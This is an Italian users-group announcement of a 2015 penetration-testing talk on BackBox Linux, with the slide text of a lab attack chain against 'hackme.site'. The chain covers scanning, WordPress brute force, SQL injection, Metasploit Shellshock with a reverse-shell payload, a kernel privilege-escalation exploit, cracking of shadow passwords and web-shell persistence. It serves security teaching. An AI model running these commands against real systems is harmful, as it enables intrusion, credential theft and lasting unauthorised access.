Venerdì 11 dicembre alle 21:15 in via Episcopio Vecchio 9 a Forlì, presso l’Istituto Salesiano “Orselli”, avremo il piacere di ospitare Andrea Draghetti, componente del Team di Sviluppo del progetto BackBox Linux ed esperto in sicurezza informatica. Con noi ci saranno anche i nostri amici di ImoLUG, per compagnia e supporto come da miglior tradizione acara. Si tratta di una serata dal carattere prettamente tecnico ed operativo che inaugura un piccolo ed informale laboratorio collaborativo di sicurezza informatica e computer forensics, nato dalle richieste di alcuni soci del Folug aperto a chiunque sia interessato a questi argomenti. Data la natura dell’incontro e la notevole professionalità del relatore si “smanetterà” alla grande; quindi lasciate perdere testi teorici e preparatevi a vedere esempi pratici degli argomenti che verranno trattati: 1. Nmap (Scansione porte, fingerprint, ecc) 2. Dirs3arch (File e Directory Bruteforce) 3. Wpscan (Scanner di exploit della piattaforma wordpress) 4. SQLMap (sqlinjection) 5. Metasploit (Remote File Inclusion e Privilege Escalation) Il sistema operativo di riferimento sarà BackBox Linux, distro italiana votata alla sicurezza informatica ed alle analisi forensi, particolarmente apprezzata da chi scrive per la sua versalità, stabilità e completezza. Questa distro raccoglie al suo interno, secondo le linee guida del software Debian, tutta una serie di tools sia relativi alla sicurezza informatica per aiutare gli ethical hackers nel loro lavoro di messa in sicurezza di sistemi e di applicazioni sia strumenti finalizzati a svolgere analisi sui computer per la ricerca di prove (computer forensics), senza dimenticare la possibilità di essere usata come distro “da tutti i giorni”. Di seguito, il link per poterne scaricare una copia: https://www.backbox.org/downloads L’evento non potrà essere trasmesso in streaming a causa della connessione raccapricciantemente lenta della nostra sede, ma, nello stile Open Source che ci ha sempre contraddistinto, tutto il materiale liberamente pubblicabile sarà postato nel nostro blog quanto prima… speriamo con qualche sorpresa Fonte: http://www.folug.org/2015/12/06/serate-l-folug-il-pen-test-con-backbox-linux/

1. BackBox Linux
Penetration Test and Security Assessment
Forlì Linux Users Group - 11 Dicembre 2015
Simulazione di un Penetration Test
Andrea Draghetti

2. About Me
BackBox Team Member
Over Security Founder
Independent Security Researcher
….

3. About BackBox
BackBox è una distribuzione Free Open Source nata nel 2010 in
Italia ed è concepita per gli appassionati di Sicurezza Informatica!
Permette di effettuare Penetration Testing e Security Assessment.
È basata su Ubuntu, offre oltre 100 Tools dedicati al mondo dell’IT
Security, Mobile Analysis, ecc.
Ha un piano di rilascio previsto ogni 4 mesi e compatibile con
ecosistemi a 32 o 64Bit.

4. Look At The World
НИН 28.11.2015
DistroWatch attesta
a BackBox la seconda
posizione della sua
categoria. È la 56° distro
Linux più scaricata
al mondo.
Il 37% dei Download
proviene dal continente
Asiatico, BackBox 4.4
ha ottenuto oltre
50mila download in
30 giorni!

5. Screenshot

6. Follow BackBox
backbox.org
launchpad.net/~backbox
facebook.com/backbox.linux
twitter.com/backboxlinux

7. Simulazione di un Penetration Test
I. Information Gathering;
II. Vulnerability Assessment;
III. Exploitation;
IV. Privilege Escalation;
V. Maintaining Access;
VI. Reporting.
Documento completo sulla simulazione di un Penetration Test
http://www.isticom.it/documenti/rivista/rivista2013/2013_12_129-134_simulazione_penetration_test.pdf
Standard, in fase di definizione, degli elementi fondamentali di un PenTest
http://www.pentest-standard.org

8. Information Gathering
L’Information Gathering ha l’obbiettivo di raccogliere informazioni utili
sul bersaglio come una lista di nomi di dominio, l’architettura della
piattaforma, delimitazione di indirizzi IP, sistemi e porte attive, servizi
offerti ed infine un elenco di nominativi ed eMail utili in caso di attacco
Social Engineering. I dati raccolti in questa fase ci permetteranno di
scegliere la linea di attacco da seguire nel passo successivo.
Per questa fase sfrutteremo
• nmap
• dirs3arch

9. Vulnerability Assessment
L’attività di Vulnerability Assessment permette di identificare ogni
vulnerabilità creando un quadro completo dello stato di esposizione
della rete in analisi a tutte le vulnerabilità note, ma non è in grado di
valutarne con precisione l’effettiva sfruttabilità. Per questa attività
vengono abitualmente utilizzati tools automatici che grazie alla loro
velocità di scansione permettono di analizzare in breve tempo un
ampio numero di servizi.
Per questa fase sfrutteremo
• wpscan
• sqlmap

10. Exploitation
La fase di Exploitation permette di ricercare all’interno di un software
una vulnerabilità in grado di provocare un imprevisto nel sistema
bersaglio del nostro attacco. Questa tecnica spesso permette di
ottenere il controllo di un sistema informatico, l’acquisizione di privilegi
oppure un Denial of Service. Ci sono diversi metodi di classificazione
degli exploit, più in generale avremo un exploit remoto se compiuto
attraverso la rete o un exploit locale se si opera direttamente sul
sistema.
Per questa fase sfrutteremo
• Metasploit e CVE-2014-6271

11. Privilege Escalation
In questa Privilege Escalation sfrutteremo l’accesso ricavato
precedentemente attraverso ShellShock per innalzare i nostri privilegi;
questo avviene sfruttando una ulteriore vulnerabilità del sistema.
Successivamente tramite un tool di password cracking (john the
ripper) e/o brute force, cercheremo di ottenere le password di utenti
con privilegi elevati (come root).
Per questa fase sfrutteremo
• GCC e CVE-2012-0056
• John the Ripper

12. Maintaining Access
Violato il sistema è indubbiamente preferibile crearsi un accesso
comodo e duraturo in grado di poter operare in un secondo momento
anche da remoto senza ripetere l’intera procedura di hack. Nella fase
di Maintaining Access si installano abitualmente Backdoor o WebShell
che ci permettono di avere il controllo immediato del sistema.
Per questa fase sfrutteremo
• weevely

13. Lab
BackBox Linux
Target: hackme.site

14. Lab
BackBox Linux
Target: hackme.site
• Porte
• 22 SSH
• 80 Apache
• Web
• /phpmyadmin
• /wp
• /panel
• /info
• /cgi-bin
• dirs3arch -u http://hackme.site -e php
• nmap -A -v hackme.site

15. Lab
BackBox Linux
Target: hackme.site
• Porte
• 22 SSH
• 80 Apache
• Web
• /phpmyadmin
• /wp
• /panel
• /info
• /cgi-bin
• Wordpress
• XSS Vulnerability
• No Brute force protection
• wpscan -u http://hackme.site/wp
--wordlist psw.txt --username admin
• wpscan -u http://hackme.site/wp -e u
• wpscan -u http://hackme.site/wp -e p
• dirs3arch -u http://hackme.site -e php
• nmap -A -v hackme.site

16. Lab
BackBox Linux
Target: hackme.site
• Porte
• 22 SSH
• 80 Apache
• Web
• /phpmyadmin
• /wp
• /panel
• /info
• /cgi-bin
• Wordpress
• XSS Vulnerability
• No Brute force protection
• Panel
• SQL Injection
• sqlmap -u http://hackme.site/panel --form
• wpscan -u http://hackme.site/wp
--wordlist psw.txt --username admin
• wpscan -u http://hackme.site/wp -e u
• wpscan -u http://hackme.site/wp -e p
• dirs3arch -u http://hackme.site -e php
• nmap -A -v hackme.site

17. Lab
BackBox Linux
Target: hackme.site
• Porte
• 22 SSH
• 80 Apache
• Web
• /phpmyadmin
• /wp
• /panel
• /info
• /cgi-bin
• Wordpress
• XSS Vulnerability
• No Brute force protection
• Panel
• SQL Injection
• CGI
• Shellshock Vulnerability
• shell and more…
• exploit
• set options …
• set PAYLOAD linux/x86/meterpreter/
reverse_tcp
• use exploit/multi/http/
apache_mod_cgi_bash_env_exec
• msfconsole
• sqlmap -u http://hackme.site/panel --form
• wpscan -u http://hackme.site/wp
--wordlist psw.txt --username admin
• wpscan -u http://hackme.site/wp -e u
• wpscan -u http://hackme.site/wp -e p
• dirs3arch -u http://hackme.site -e php
• nmap -A -v hackme.site

18. Lab
BackBox Linux
Target: hackme.site
• Porte
• 22 SSH
• 80 Apache
• Web
• /phpmyadmin
• /wp
• /panel
• /info
• /cgi-bin
• Wordpress
• XSS Vulnerability
• No Brute force protection
• Panel
• SQL Injection
• CGI
• Shellshock Vulnerability
• Shell
• Kernel Privilege Escalation
• john password --show
• unshadow passwd shadow > passwod
• cat etc/shadow && cat etc/passwd
• ./exploit
• gcc 18411.c -o exploit
• shell and more…
• exploit
• set options …
• set PAYLOAD linux/x86/meterpreter/
reverse_tcp
• use exploit/multi/http/
apache_mod_cgi_bash_env_exec
• msfconsole
• sqlmap -u http://hackme.site/panel --form
• wpscan -u http://hackme.site/wp
--wordlist psw.txt --username admin
• wpscan -u http://hackme.site/wp -e u
• wpscan -u http://hackme.site/wp -e p
• dirs3arch -u http://hackme.site -e php
• nmap -A -v hackme.site

19. Lab
BackBox Linux
Target: hackme.site
Happy Hacking!

20. Questions?
andrea@backbox.org